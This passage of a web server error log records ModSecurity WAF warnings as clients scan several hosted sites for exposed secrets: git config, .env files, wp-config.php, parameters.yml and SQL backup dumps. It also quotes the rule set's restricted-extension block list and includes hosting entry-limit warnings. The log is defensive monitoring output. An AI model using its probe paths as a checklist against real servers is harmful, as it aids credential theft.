[Fri Jul 17 08:28:21.063889 2026] [hostinglimits:warn] [pid 1993659:tid 1993659] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(application/x-httpd-ea-php81) HOSTNAME(www.jrdcback.jrdc.lk) URL(/index.php) TID(1993659) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:21.064019 2026] [security2:error] [pid 1993659:tid 1993659] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/index.php"] [unique_id "almaTZOFLENLI63GGOEKWAAAAAQ"]
[Fri Jul 17 08:28:21.368553 2026] [security2:error] [pid 1993604:tid 1993604] [client 32.198.65.184:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.jrdcback.jrdc.lk"] [uri "/db.sql"] [unique_id "almaTYha5y5fYnQ1qRrvvwAAAAE"]
[Fri Jul 17 08:28:21.368910 2026] [security2:error] [pid 1993604:tid 1993604] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/db.sql"] [unique_id "almaTYha5y5fYnQ1qRrvvwAAAAE"]
[Fri Jul 17 08:28:21.369019 2026] [hostinglimits:warn] [pid 1993604:tid 1993604] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(application/x-httpd-ea-php81) HOSTNAME(www.jrdcback.jrdc.lk) URL(/index.php) TID(1993604) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:21.369204 2026] [security2:error] [pid 1993604:tid 1993604] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/index.php"] [unique_id "almaTYha5y5fYnQ1qRrvvwAAAAE"]
[Fri Jul 17 08:28:21.482245 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.221.94.119:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.admin.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almaTVh1WDijTxd1xw5I8wAAAAc"]
[Fri Jul 17 08:28:21.482540 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.221.94.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.admin.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almaTVh1WDijTxd1xw5I8wAAAAc"]
[Fri Jul 17 08:28:21.482824 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.221.94.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaTVh1WDijTxd1xw5I8wAAAAc"]
[Fri Jul 17 08:28:21.555688 2026] [security2:error] [pid 1993998:tid 1993998] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/cgi-sys/ea-php81/index.php"] [unique_id "almaS2idQp3SsqeycPEsvAAAAAo"]
[Fri Jul 17 08:28:21.680101 2026] [security2:error] [pid 2014279:tid 2014279] [client 13.221.94.119:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.admin.ksoft.web.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaTUz_ZDvgWqiMlMbLUgAAAB0"]
[Fri Jul 17 08:28:21.680342 2026] [security2:error] [pid 2014279:tid 2014279] [client 13.221.94.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.admin.ksoft.web.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaTUz_ZDvgWqiMlMbLUgAAAB0"]
[Fri Jul 17 08:28:21.680566 2026] [security2:error] [pid 2014279:tid 2014279] [client 13.221.94.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaTUz_ZDvgWqiMlMbLUgAAAB0"]
[Fri Jul 17 08:28:21.763427 2026] [security2:error] [pid 1996894:tid 1996894] [client 13.221.94.119:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.admin.ksoft.web.lk"] [uri "/db.sql"] [unique_id "almaTY4Wmn5zySdNNkAk1AAAABM"]
[Fri Jul 17 08:28:21.767298 2026] [security2:error] [pid 1996894:tid 1996894] [client 13.221.94.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.admin.ksoft.web.lk"] [uri "/db.sql"] [unique_id "almaTY4Wmn5zySdNNkAk1AAAABM"]
[Fri Jul 17 08:28:21.767665 2026] [security2:error] [pid 1996894:tid 1996894] [client 13.221.94.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaTY4Wmn5zySdNNkAk1AAAABM"]
[Fri Jul 17 08:28:21.922253 2026] [security2:error] [pid 1993584:tid 1993584] [client 13.221.94.119:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.admin.ksoft.web.lk"] [uri "/data.sql"] [unique_id "almaTVxP5-SsqbGuGB2lJAAAAAA"]
[Fri Jul 17 08:28:21.922624 2026] [security2:error] [pid 1993584:tid 1993584] [client 13.221.94.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.admin.ksoft.web.lk"] [uri "/data.sql"] [unique_id "almaTVxP5-SsqbGuGB2lJAAAAAA"]
[Fri Jul 17 08:28:21.922905 2026] [security2:error] [pid 1993584:tid 1993584] [client 13.221.94.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaTVxP5-SsqbGuGB2lJAAAAAA"]
[Fri Jul 17 08:28:22.065962 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(application/x-httpd-ea-php81) HOSTNAME(www.jrdcback.jrdc.lk) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:22.073372 2026] [security2:error] [pid 2013829:tid 2013829] [client 8.222.208.239:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "127.0.0.1"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "127.0.0.1"] [uri "/cgi-sys/autodiscover.cgi"] [unique_id "almaTg7FYe46zHK_jL3MYAAAABk"]
[Fri Jul 17 08:28:22.119722 2026] [security2:error] [pid 2014279:tid 2014279] [client 13.221.94.119:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.admin.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "almaTkz_ZDvgWqiMlMbLUwAAAB0"]
[Fri Jul 17 08:28:22.120004 2026] [security2:error] [pid 2014279:tid 2014279] [client 13.221.94.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.admin.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "almaTkz_ZDvgWqiMlMbLUwAAAB0"]
[Fri Jul 17 08:28:22.120321 2026] [security2:error] [pid 2014279:tid 2014279] [client 13.221.94.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaTkz_ZDvgWqiMlMbLUwAAAB0"]
[Fri Jul 17 08:28:22.141859 2026] [security2:error] [pid 2014321:tid 2014321] [client 13.221.94.119:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.admin.ksoft.web.lk"] [uri "/.env"] [unique_id "almaTtbqW6u97-NXXfOr0wAAACE"]
[Fri Jul 17 08:28:22.142185 2026] [security2:error] [pid 2014321:tid 2014321] [client 13.221.94.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.admin.ksoft.web.lk"] [uri "/.env"] [unique_id "almaTtbqW6u97-NXXfOr0wAAACE"]
[Fri Jul 17 08:28:22.142512 2026] [security2:error] [pid 2014321:tid 2014321] [client 13.221.94.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaTtbqW6u97-NXXfOr0wAAACE"]
[Fri Jul 17 08:28:22.161907 2026] [security2:error] [pid 2014256:tid 2014256] [client 13.221.94.119:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.admin.ksoft.web.lk"] [uri "/database.sql"] [unique_id "almaToZvbo7N5o5zeYC65wAAABw"]
[Fri Jul 17 08:28:22.162341 2026] [security2:error] [pid 2014256:tid 2014256] [client 13.221.94.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.admin.ksoft.web.lk"] [uri "/database.sql"] [unique_id "almaToZvbo7N5o5zeYC65wAAABw"]
[Fri Jul 17 08:28:22.162629 2026] [security2:error] [pid 2014256:tid 2014256] [client 13.221.94.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaToZvbo7N5o5zeYC65wAAABw"]
[Fri Jul 17 08:28:22.261913 2026] [security2:error] [pid 1993604:tid 1993604] [client 32.198.65.184:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/.env.staging"] [unique_id "almaToha5y5fYnQ1qRrvwQAAAAE"]
[Fri Jul 17 08:28:22.262215 2026] [security2:error] [pid 1993604:tid 1993604] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/.env.staging"] [unique_id "almaToha5y5fYnQ1qRrvwQAAAAE"]
[Fri Jul 17 08:28:22.262362 2026] [hostinglimits:warn] [pid 1993604:tid 1993604] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(application/x-httpd-ea-php81) HOSTNAME(www.jrdcback.jrdc.lk) URL(/index.php) TID(1993604) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:22.262515 2026] [security2:error] [pid 1993604:tid 1993604] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/index.php"] [unique_id "almaToha5y5fYnQ1qRrvwQAAAAE"]
[Fri Jul 17 08:28:22.360518 2026] [security2:error] [pid 1993574:tid 1993574] [client 13.221.94.119:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.admin.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almaTt0t9Kb_MdNxrg6-xgAAAAM"]
[Fri Jul 17 08:28:22.360899 2026] [security2:error] [pid 1993574:tid 1993574] [client 13.221.94.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.admin.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almaTt0t9Kb_MdNxrg6-xgAAAAM"]
[Fri Jul 17 08:28:22.361210 2026] [security2:error] [pid 1993574:tid 1993574] [client 13.221.94.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaTt0t9Kb_MdNxrg6-xgAAAAM"]
[Fri Jul 17 08:28:22.367658 2026] [security2:error] [pid 1993584:tid 1993584] [client 13.221.94.119:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.admin.ksoft.web.lk"] 